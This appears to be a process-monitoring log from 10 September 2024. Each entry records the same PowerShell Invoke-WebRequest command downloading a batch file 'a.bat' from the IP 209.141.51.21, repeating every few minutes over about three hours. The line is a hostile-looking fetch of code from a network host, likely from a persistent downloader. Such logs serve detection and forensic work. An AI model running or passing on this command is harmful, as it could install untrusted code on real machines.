C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:34:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:34:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:36:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:37:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:39:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:39:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:41:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:42:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:44:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:44:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:46:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:47:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:49:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:49:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:51:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:52:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:54:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:54:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:56:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:57:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:59:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:59:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:01:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:02:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:04:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:04:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:06:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:07:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:09:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:09:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:11:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:12:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:14:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:14:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:16:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:17:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:19:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:19:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:21:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:22:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:24:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:24:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:26:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:27:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:29:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:29:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:31:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:32:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:34:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:34:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:37:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:37:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:39:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:39:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:42:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:42:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:44:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:44:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:47:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:47:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:49:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:49:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:52:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:52:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:54:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:55:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:57:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:57:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 08:59:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:00:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:02:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:02:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:04:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:05:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:07:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:07:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:09:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:10:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:12:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:12:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:14:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:15:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:17:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:17:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:19:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:20:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:22:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:22:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:24:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:25:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:27:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:27:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:29:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:30:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:32:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:32:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:34:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:35:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:37:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:37:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:39:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:40:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:42:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:42:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:44:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:45:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:47:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:47:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:49:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:50:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:52:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:52:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:54:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:55:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:57:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:57:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 09:59:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:00:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:02:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:02:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:04:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:05:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:07:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:07:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:09:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:10:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:12:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:12:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:14:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:15:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:17:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:17:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:19:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:20:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 10:22:15 NOTIFY: PROCESS 